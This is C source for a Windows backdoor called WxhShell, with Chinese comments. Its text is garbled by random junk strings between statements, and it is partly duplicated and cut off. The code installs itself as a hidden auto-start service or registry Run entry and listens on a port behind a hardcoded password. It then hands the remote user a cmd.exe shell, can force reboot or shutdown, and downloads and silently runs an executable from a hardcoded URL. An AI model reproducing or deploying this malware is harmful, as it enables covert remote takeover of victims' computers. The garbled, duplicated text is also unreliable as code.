+ PROCESS_BASIC_INFORMATION pbi; 8t4o}3> QrmiQ]d*p HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =Kf]ZKj) if(NULL == hInst ) return 0; OjVI4@E;Xe >NL4&MV: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $9LI v g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7OF6;@< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v?\Z4Z|f NJ6*
7Cd if (!NtQueryInformationProcess) return 0; 6x?3%0Km -+9,RtHR7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tWD5Yh>.?$ if(!hProcess) return 0; 9fLxp$`(T <#c/uIN if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2`2S94' ;3~+M:{2 CloseHandle(hProcess); re\pE2&B EZICH&_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kkA5pbS if(hProcess==NULL) return 0; }:6$5/? Q]n a_'_ HMODULE hMod; ;"gUrcuY char procName[255]; /)Ga< unsigned long cbNeeded; pAZD>15l" M$@Donx if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (RhGBgp =a!w)z_rw CloseHandle(hProcess); gK8E|f-z S5a?KU if(strstr(procName,"services")) return 1; // 以服务启动 |}hV_ s2`:NS return 0; // 注册表启动 9d5|rk8VS } ;gE]*Y.Z.p ak_&\'P // 主模块 S.^/Cl;aj int StartWxhshell(LPSTR lpCmdLine) El9D1], { '
];| SOCKET wsl; 5Vq&w`sW BOOL val=TRUE; vz{Z
tE" int port=0; ]Ak/:pu struct sockaddr_in door; Zt3Y<3o }iOFB&)w if(wscfg.ws_autoins) Install(); 3rRN~$
+;@p'af!9 port=atoi(lpCmdLine); 1$A7BP 5;:P^[cH9 if(port<=0) port=wscfg.ws_port; eyUhMjd P&3Z,f0 WSADATA data; ^seb8o7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
OhNEt> i.~*G8!DM if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !:zWhu, setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i'6>_,\( door.sin_family = AF_INET; GxFmw: door.sin_addr.s_addr = inet_addr("127.0.0.1"); BAy]&q|. door.sin_port = htons(port); wO>P<KBU d z- if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RxeyMNd closesocket(wsl); -c_}^j return 1; xzI?'?duC } klUW_d- _T8o] if(listen(wsl,2) == INVALID_SOCKET) { dE ,NG)MH closesocket(wsl); VZo,AP~ return 1; U/p|X) } ke~S[bL%- Wxhshell(wsl); # Vq"Cf WSACleanup(); o?T01t= z8n=\xL return 0; A7eF.V& 0\/cTNN } 7QnQ=gu *|OP>N // 以NT服务方式启动 /kK%}L_D VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?H30 { 0q4E^}iR DWORD status = 0; =x QLf4> DWORD specificError = 0xfffffff; =
nIl$9 I4Y;9Gg serviceStatus.dwServiceType = SERVICE_WIN32; v"Z`#Bi serviceStatus.dwCurrentState = SERVICE_START_PENDING; QO fqW@g serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
B#Q=Fo 6 serviceStatus.dwWin32ExitCode = 0; Lt<KRs serviceStatus.dwServiceSpecificExitCode = 0; XFS"~{ serviceStatus.dwCheckPoint = 0; <E&[sQ|3 serviceStatus.dwWaitHint = 0; ~WKcO& 94Hs.S) hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "{1SDbwmMo if (hServiceStatusHandle==0) return; Ho_ 2zx:8b mh5ozv$ status = GetLastError(); O)Wc\- if (status!=NO_ERROR) li`4&<WGC { X~#jx(0_ serviceStatus.dwCurrentState = SERVICE_STOPPED; EId_1F;V^ serviceStatus.dwCheckPoint = 0; OS.oknzZZ serviceStatus.dwWaitHint = 0; zA<Hj;9SM serviceStatus.dwWin32ExitCode = status; <D1>;C serviceStatus.dwServiceSpecificExitCode = specificError; O]/BNacS SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q*GJREC return; >^U$2P } DqQ+8 w <}vult^ serviceStatus.dwCurrentState = SERVICE_RUNNING; 4ne95_i serviceStatus.dwCheckPoint = 0; l&2 }/A serviceStatus.dwWaitHint = 0;
<dd(i if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @y+Hb@ >. } Q^Lk^PP7 i^O(JC // 处理NT服务事件,比如:启动、停止 .3Ag6YI0N VOID WINAPI NTServiceHandler(DWORD fdwControl) Z:e|~# { 0</]Jo% switch(fdwControl) '7j!B1K- { c}l?x
\/ case SERVICE_CONTROL_STOP: Z(gW(O9h.V serviceStatus.dwWin32ExitCode = 0; >axf_k serviceStatus.dwCurrentState = SERVICE_STOPPED; Qgel^"t]i serviceStatus.dwCheckPoint = 0; kZfUwF:yN serviceStatus.dwWaitHint = 0; bVbh| AA { uy
t' SetServiceStatus(hServiceStatusHandle, &serviceStatus); /1!Wet}f } |Nfi y return; U`-]U2" case SERVICE_CONTROL_PAUSE: sC ^9 serviceStatus.dwCurrentState = SERVICE_PAUSED; jQ 'r};; break; !K0:0: case SERVICE_CONTROL_CONTINUE: zHT22o56X serviceStatus.dwCurrentState = SERVICE_RUNNING; SFaG`T= break; i_KAD U&mP case SERVICE_CONTROL_INTERROGATE: ~Wox"h}( break; .w@o%AO_ }; QL{ ^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); BB)(#yoi } 7YLG<G!v)] L6jD4ec8 // 标准应用程序主函数 :v(fgS2\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r^2>60q' { qa!3l b_'M cc
%m0p // 获取操作系统版本 u]!ZW& OsIsNt=GetOsVer(); yH:gFEJ:x GetModuleFileName(NULL,ExeFile,MAX_PATH); QsN%a>t ov@N13 ,$ // 从命令行安装 Sj`GP p if(strpbrk(lpCmdLine,"iI")) Install(); ;n"Nv}<C $7~T+fmF // 下载执行文件 3EHn}#+U if(wscfg.ws_downexe) { c8"9Lv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7:cmBkXm WinExec(wscfg.ws_filenam,SW_HIDE); o;#9$j7QP! } 4,yS7l lls-Nir% if(!OsIsNt) { ,Zs"r}G^ // 如果时win9x,隐藏进程并且设置为注册表启动 Z_tK3kQa@& HideProc(); #K[UqJ+x StartWxhshell(lpCmdLine); |;[%ZE" } 5VXI/Lw# else 2VY.#9vl if(StartFromService()) m&36$>r= // 以服务方式启动 s>VpbJ3S StartServiceCtrlDispatcher(DispatchTable); oU`J~6.&S else l^ Q-KUI // 普通方式启动 R54wNm@ StartWxhshell(lpCmdLine);
Q9!T@ , (Bo .(] return 0; c-dOb.v0 } -#e3aXe |d@%Vb_ #"6O3.P c[h{C!d1 =========================================== UUuB Rtau Ns*&;x9 !MNnau%O >;9+4C<z0 R[l9f8 .>.B " NukcBH .0 [
zZ #include <stdio.h> x bsk #include <string.h> 8^8fUN4<= #include <windows.h> -%5O:n #include <winsock2.h> #KOr-Yg|U #include <winsvc.h> @Z fQ)q\ #include <urlmon.h> *G6Py,- !f Vo@gxC, #pragma comment (lib, "Ws2_32.lib") ^V1iOf: #pragma comment (lib, "urlmon.lib") xlW`4\ Pa 2D"n#O`y #define MAX_USER 100 // 最大客户端连接数 Uh9p,AV #define BUF_SOCK 200 // sock buffer :nYnTo` #define KEY_BUFF 255 // 输入 buffer ?$>#FKrt >3v
j<v}m #define REBOOT 0 // 重启 pel{ ;r #define SHUTDOWN 1 // 关机 >Fzs%]M C}= *%S #define DEF_PORT 5000 // 监听端口 q3CcXYY D (>,#F #define REG_LEN 16 // 注册表键长度 m7|}PH"7 #define SVC_LEN 80 // NT服务名长度 |v'_Co0ki VN5UJ!$?J // 从dll定义API *j9hjq0j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hw(_l,Xf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "k0b j> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =F B[<% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l[_y|W5 7jZE(|G- // wxhshell配置信息 mn>$K"_k struct WSCFG { u@ "nVHgMJ int ws_port; // 监听端口 a
(mgz&* char ws_passstr[REG_LEN]; // 口令 >l!#_a int ws_autoins; // 安装标记, 1=yes 0=no ++HHUM char ws_regname[REG_LEN]; // 注册表键名 (pU@$H char ws_svcname[REG_LEN]; // 服务名 3
W%Bsqn char ws_svcdisp[SVC_LEN]; // 服务显示名 re$xeq\1P? char ws_svcdesc[SVC_LEN]; // 服务描述信息 $CXMeY{tOo char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (iT?uMRz int ws_downexe; // 下载执行标记, 1=yes 0=no EINjI:/D char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uaX#nn?ws char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^uDNArDmj5 OIqisQ7ZB }; CXe2G5 )37 .H^7 // default Wxhshell configuration ['*{f(AI struct WSCFG wscfg={DEF_PORT, sv g`s,g "xuhuanlingzhe", 3>+9Rru 1, TN+iv8sT "Wxhshell", 0# )I:5 "Wxhshell", r}9a31i "WxhShell Service", swfcA\7R "Wrsky Windows CmdShell Service", 3Y
L "Please Input Your Password: ", ?bq S{KF 1, us_o{ "http://www.wrsky.com/wxhshell.exe", /|)VO?*D "Wxhshell.exe" Ji#"PE/Pt }; 5Dhpcgq<< {D6E@a // 消息定义模块 >\/H2j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h0=Q .Yz6 char *msg_ws_prompt="\n\r? for help\n\r#>"; "RkbT O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HkP')= sa char *msg_ws_ext="\n\rExit."; ib3u: char *msg_ws_end="\n\rQuit."; D^[}:O{ char *msg_ws_boot="\n\rReboot..."; em@bxyMm char *msg_ws_poff="\n\rShutdown..."; o)(N*tC char *msg_ws_down="\n\rSave to "; 0G`F Xj}L
sp/l-a char *msg_ws_err="\n\rErr!"; FRSz3^A w char *msg_ws_ok="\n\rOK!"; iPD5
KsAOA &?#,rEw<x char ExeFile[MAX_PATH]; mr4W2Z@L int nUser = 0; ~=!d>f~U HANDLE handles[MAX_USER]; 'R{XqHP int OsIsNt; sW53g$`v -$@$ SERVICE_STATUS serviceStatus; +5zLQ>]z SERVICE_STATUS_HANDLE hServiceStatusHandle; &sbKN[x M 9(\eL9^ // 函数声明 yX {CV7%O int Install(void); j/oM^IY int Uninstall(void); =u*\P!$ int DownloadFile(char *sURL, SOCKET wsh); .[@TC@W int Boot(int flag); ]d}h`!: void HideProc(void); $s*nh>@7 int GetOsVer(void); $,/;QP} int Wxhshell(SOCKET wsl); DaA9fJ7a
void TalkWithClient(void *cs); d~G, * int CmdShell(SOCKET sock); Rr9K1io$) int StartFromService(void); (.CEEWj%{ int StartWxhshell(LPSTR lpCmdLine); gJ;
*?Uq( @scy v@5)F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $,mljJSQv VOID WINAPI NTServiceHandler( DWORD fdwControl ); GH6 HdZ 4;rt|X77 // 数据结构和表定义 JTw< 4] SERVICE_TABLE_ENTRY DispatchTable[] = vM.Y/,7S { _7)>/YK?}4 {wscfg.ws_svcname, NTServiceMain}, i42M.M6D $ {NULL, NULL} vxey$Ir }; ^AI5SjOUx ZQ%4]=w // 自我安装 oCCTRLb02 int Install(void) #|ppW fZQ { <l:c O$ m char svExeFile[MAX_PATH]; sDylSYq HKEY key; j,]KidDWm strcpy(svExeFile,ExeFile); 1\[En/6 K4r"Q*h // 如果是win9x系统,修改注册表设为自启动 JGJy_.C if(!OsIsNt) { h()Ok9] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oPqWL9] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )\k({S RegCloseKey(key); ;fdROI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !LG 5q/}& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mMz^I7$ RegCloseKey(key); d*Wg>8| return 0; EAdr}io }
@hb K } DX*eN"z[ } rz@FUU:& else { $jc&Tk# dN8@ 0AMSf // 如果是NT以上系统,安装为系统服务 LU=<?"N6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^57G]$Q if (schSCManager!=0) V5.=08L { 2;v1YKY SC_HANDLE schService = CreateService cC NyW2' ( &F8N$H schSCManager, bh[`uRC} wscfg.ws_svcname, bzl-|+!yB wscfg.ws_svcdisp, =SY`Xkj[ SERVICE_ALL_ACCESS, 7,.3'cCL^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \\Z{[{OZ SERVICE_AUTO_START, "%mu~&Ga SERVICE_ERROR_NORMAL, .# Jusd svExeFile, 5>S<9A|Q NULL, aw3 oG?3I NULL, ,>AA2@6zMT NULL, $*KM%M6 NULL, y3,'1^lA NULL q2pq~LI ); :c_>(~ if (schService!=0) Z{MR#.I { mPmg6Qj(W CloseServiceHandle(schService); $GMva}@G` CloseServiceHandle(schSCManager); (59u<F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2fa1jl strcat(svExeFile,wscfg.ws_svcname); f3p)Q<H>`( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mBQp#-1\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "u H VX|` RegCloseKey(key); :/.SrkN(A7 return 0; .?Pghqq. } e2}5<
7 } 4GL-3e CloseServiceHandle(schSCManager); Y*KP1=Md } >U.f`24 } w]%|^: /'ukeK+' return 1; Jtv~n } g]ct6-m a%IJ8t+mn // 自我卸载 ]46-TuH int Uninstall(void) ){sn!5= { t=6[FK HKEY key; KkCA*GS T2%{pcdV/ if(!OsIsNt) { fbjT"jSzw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _
Cu," RegDeleteValue(key,wscfg.ws_regname); #C`IfP./ RegCloseKey(key); T\
cJn>kCn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -!ARVf * RegDeleteValue(key,wscfg.ws_regname); Q|CLis- RegCloseKey(key); uQ_s$@brI return 0; _'.YC<; } *oW^P~m/ } s (hJ * } '1Z3MjX else { S{l
>|N2q `
&E- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1c2zFBl.& if (schSCManager!=0) SXJ]()L?[v { (c'kZ9& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T``O!>J if (schService!=0) v=Y)
A ? { 5>nbA8 if(DeleteService(schService)!=0) { `\]gNn'Q CloseServiceHandle(schService); zQt"i`{U CloseServiceHandle(schSCManager); "lT>V)NB' return 0; .Z2zv*
} T 8.
to CloseServiceHandle(schService); rDEdMT } 7/UdE:~]*= CloseServiceHandle(schSCManager); ITmW/Im5 } W3HTQGV } - /
tzt (pud`@D;[ return 1; $yi[wwf4 } Bm\OH# sT;:V
// 从指定url下载文件 !ot$ Q int DownloadFile(char *sURL, SOCKET wsh) ?%]?#4bkc { mD]^a;U[X HRESULT hr; 8euh]+ char seps[]= "/"; >(9"D8 char *token; N+V_[qr# char *file; X *fle char myURL[MAX_PATH]; o(|fapK. char myFILE[MAX_PATH]; 8YLS/dN0 w /5s,<
0Kz strcpy(myURL,sURL); 7XDze(O5 token=strtok(myURL,seps); ZQ_&HmgRy while(token!=NULL) vrr`^UB2 { l(fStpP file=token; hj*Fn token=strtok(NULL,seps); <8?jn*$;\ } 2\'5LL3 UomO^P GetCurrentDirectory(MAX_PATH,myFILE); @:M?Re`L strcat(myFILE, "\\"); |E7)s;}D strcat(myFILE, file); nWzGb2Y send(wsh,myFILE,strlen(myFILE),0); ~=#jr0IZ send(wsh,"...",3,0); @0qDhv s hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); by{ *R if(hr==S_OK) ~|!f6= return 0; mz<wYV* else QN'v]z return 1; ZBf9Upg *9?T?S|^$F } -AX[vTB bpv?$j-j // 系统电源模块 2{gd4Kt6. int Boot(int flag) q*36/I { <M,A:u\qSQ HANDLE hToken; $At,D.mGkb TOKEN_PRIVILEGES tkp; L[LgQ7esQ ;i,:F`b~ if(OsIsNt) { MV,;l94?%= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]di9dLT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \~{b;$N} tkp.PrivilegeCount = 1; EvJ"%:bp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z7@~#)3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 45DR%cz if(flag==REBOOT) { w*-1*XNA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \@eC^D2 return 0; o@! !I w } gvi]#| else { w-3 B~e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z"u|-RoBV return 0; @m99xF\e } V1= (^{p8 } !~5=tK else { 1qgzb if(flag==REBOOT) { Pp9nilb_( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hc"FW5R return 0; (qQ|s@O } |vLlEN/S else { 5(}Qg9% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A!\-e*+W= return 0; SyWLPh } g0n
5&X } c{SD=wRt,y 5uJ{#Zd return 1; U if61)+!i } Q x]zz4jD dreEe s`| // win9x进程隐藏模块 6?X)' void HideProc(void) u3XQ<N{Gj { faJ>,^V# N!hS`< } HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G;CB%qXI if ( hKernel != NULL ) F]"Hs> { lbg^ 2|o~~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nP+]WUnY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zs_^m1t1s FreeLibrary(hKernel); ,aLdW,<6 } 0k7kmDW KW[Jft return; 3 IK+&hk } VSJ08Ngi
5{@Hpj/B // 获取操作系统版本 B,]:<1l~ int GetOsVer(void) ,7{}}l { df$VC OSVERSIONINFO winfo; '+Gy)@c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U $ bLt GetVersionEx(&winfo); FKN!*}3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;%V%6:5 return 1; N+[ |"v else D]h~\ return 0; = Nd&My } 6}>:sr -1>$3-ur~ // 客户端句柄模块 8UANB]@Y} int Wxhshell(SOCKET wsl) 9j6 { wB0zFlP SOCKET wsh; @A-^~LoP. struct sockaddr_in client; 2\:z
DWORD myID; 51\N+ ]("5O V5 while(nUser<MAX_USER) wv ~?<DF { yye(^ int nSize=sizeof(client); 4GY:N6qe' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Q=P6Rz
{S if(wsh==INVALID_SOCKET) return 1; L< gp "e iQI$Y]Y7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q|[P[7z if(handles[nUser]==0) %](H?'H closesocket(wsh);
_%`<V!RT\ else o=,q4;R' nUser++; 5>e3srKu } Dn#GoDMJ[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mOUIGlv GG}(*pOr return 0; J7C2:zj } #78P_{#! s|1BqoE // 关闭 socket k$hNibpkt void CloseIt(SOCKET wsh) m#(tBfH[ { (M5{y`Kk closesocket(wsh); 2[*r9%W nUser--; R&OqmhT! ExitThread(0); =>0+BD } aC&ZV}8of zP|y3`.52 // 客户端请求句柄 <KFE.\*Z4 void TalkWithClient(void *cs) *FwHZZ~U { ?rD`'B ^lP_{c SOCKET wsh=(SOCKET)cs; jmAQ!y|W. char pwd[SVC_LEN]; 0V:DeX$bZ char cmd[KEY_BUFF]; B f_oIc char chr[1]; :jFKTG
int i,j; !"dbK'jb^ SQZUkKfb while (nUser < MAX_USER) { -%U 15W; % 1+\N if(wscfg.ws_passstr) { .o2]ndT/J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [;Q8xvVZ' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8"#Ix1# //ZeroMemory(pwd,KEY_BUFF); mh#dnxeR i=0; KXgC]IO~ while(i<SVC_LEN) { bs%lMa.o q]\bJV^/U // 设置超时 2g6G\F fd_set FdRead; F=29"1 ._ struct timeval TimeOut; u7e g:0Y FD_ZERO(&FdRead); e*Gm()Vu, FD_SET(wsh,&FdRead); e$E~@{[1) TimeOut.tv_sec=8; (X
rrnoz TimeOut.tv_usec=0; 9\/T #EP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @[qGoai if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q/%(&4>'y EzDj,!!<w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lD8&*5tDmP pwd=chr[0]; {ZS-]|Kx if(chr[0]==0xd || chr[0]==0xa) { $Yr'`(Cbc pwd=0; XcS8{ break; [\M=w7 } y1JxAj i++; $>3/6(bW } #nE%.k|R~ 9q2 >_Mv // 如果是非法用户,关闭 socket UH<nc;.B if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q}J'S5% } %0PdN@I &AMW?vO send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZwLD7j*) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0.}Um n.{+\M6k while(1) { )U`"3R VK*2`Z1 ZeroMemory(cmd,KEY_BUFF); H:X=v+W 'JBf*p". // 自动支持客户端 telnet标准 FTy`#*7Ul j=0; H<M
ggs- while(j<KEY_BUFF) { ]U]22I'+$2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C*}TY)8 cmd[j]=chr[0]; NX$S^Z\QI if(chr[0]==0xa || chr[0]==0xd) { FQR{w cmd[j]=0; >-Qg4%m break; ^N!l$&= } }LH>0v_<Y j++; 74 c1i } D!.
r$i)
Wt&tu2 // 下载文件 A2o;YyF if(strstr(cmd,"http://")) { JM#jg-z,~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); d9XX^nY. if(DownloadFile(cmd,wsh)) =a`l1zn8= send(wsh,msg_ws_err,strlen(msg_ws_err),0); g8yWFqE!T else `A.!<bO)] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -R,[/7zj } l-yQ3/: else { ZhKYoPIq Ns-cT'1- switch(cmd[0]) { fCSM#3|,] *v'&i) J // 帮助 "hU'o& case '?': { ^;3z9}9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v/]Bo[a break; rl^_RI } XelY?Ph,, // 安装 vgzNT4o case 'i': { U9;C#9E if(Install()) 5|ih>? C/( send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Al.hEs' else L&qzX) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #,O<E@E break; ;T}#-`O_Im } }Po&6^ // 卸载 0px@3/ case 'r': { =KwG;25hX if(Uninstall()) 30Nya$$A= send(wsh,msg_ws_err,strlen(msg_ws_err),0); slEsSR'J] else ]6{G;f$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 29g("(}TK break; (=${@=!z } NDhHU#Q9 // 显示 wxhshell 所在路径 WigC' case 'p': { >JFAE5tj&2 char svExeFile[MAX_PATH]; #F5O>9hA strcpy(svExeFile,"\n\r"); ^5biD9>M strcat(svExeFile,ExeFile); }%EQ send(wsh,svExeFile,strlen(svExeFile),0); 93%U;0w[Nw break;
Tx35~Z`0 } \xk`o5/{ // 重启 guv)[:cd; case 'b': { ,MwwA@,9- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZD1UMB0$4 if(Boot(REBOOT)) g2 uc+p send(wsh,msg_ws_err,strlen(msg_ws_err),0); /sENoQR else { I<*U^e closesocket(wsh); 9rX[z : ExitThread(0); z3b8 } TL+a_]3@ break; EI2V<v } -^8gZk/(W // 关机 $kJvPwRO case 'd': { ~130"WQ; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ([s}bD.9 if(Boot(SHUTDOWN)) F]3iL^v send(wsh,msg_ws_err,strlen(msg_ws_err),0); MJ>9[hs else { xaWd\]UF closesocket(wsh); }U'fPYYi8 ExitThread(0); yqqP7 } m~\BkE/[l break; e9h T } +bvY*^i // 获取shell Q"CZ}B1< case 's': { i/*&; CmdShell(wsh); \cvui^^n closesocket(wsh); @*L^Jgn ExitThread(0); G*e/Ft.wf8 break; `9eE139V=' } \1f$]oS // 退出 .l5y!? case 'x': { %"j<` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lyKV^7} CloseIt(wsh); Mw7 ~:O`
break; GiB3.%R` } a3
wUB // 离开 aT"q}UTK case 'q': { =LuH:VM& send(wsh,msg_ws_end,strlen(msg_ws_end),0);
yowvq4e closesocket(wsh); JP9eNc[ WSACleanup(); Z~$=V:EA? exit(1); wQ[~7 ,o break; b mZRCvW>A } 5bGV91 } i NzoDmE* } -G]\"ZGi lu_ y 9o^ // 提示信息 D0=D8P}H: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #"%oz^~\ } `N}<lg(0# } e{Pgz0sOQ gm9e-QIHK return; V;ZyAp } ~my\{q !Pt|Hk dr // shell模块句柄 #ldNWwvRGj int CmdShell(SOCKET sock) 4(2}O-~ { sN 1x|pkN STARTUPINFO si; p+#J;. ZeroMemory(&si,sizeof(si)); O9oVx4= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 83:m7; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }Gr5TDiV0\ PROCESS_INFORMATION ProcessInfo; Jg3}U j2By char cmdline[]="cmd"; ow]S 3[07 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B+eB=KL return 0; g=Q#2/UQ< } ):jKsP
, GIsXv 2 // 自身启动模式 e`'O! int StartFromService(void) }8GCOY { R>BI;IcX typedef struct =El.uBz{ { E}mnGe DWORD ExitStatus; 15#v|/wI' DWORD PebBaseAddress; ;^lVIS%&{ DWORD AffinityMask; `4}zB#3 DWORD BasePriority; lQ!ukl) ULONG UniqueProcessId; d4/snvq ULONG InheritedFromUniqueProcessId; yC4JYF]JN } PROCESS_BASIC_INFORMATION; 3>yb$ZU"- fyT:I6* PROCNTQSIP NtQueryInformationProcess; *-T3'beg ()v[@"J static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {%^q8l4j static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gCz^JM ~HI|t2C HANDLE hProcess; {>fvyF PROCESS_BASIC_INFORMATION pbi; v-Ggf0RF .VuZ= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }3j/%oN.( if(NULL == hInst ) return 0; ]IXKoJUf PDvqA{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8b!&TP~m1 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !0`44Gbq NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9s6, &' Xoml if (!NtQueryInformationProcess) return 0; 52/^>=t "d/x`Dx hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B4pheKZ2 if(!hProcess) return 0; 5G'X\iR ^4x(a& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 20d[\P(. f8+($Ys CloseHandle(hProcess); L{N9h1] KR%p*Nh+C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HviL4iO if(hProcess==NULL) return 0; >&RpfE[ ko@I]gi2 HMODULE hMod; P )_g t 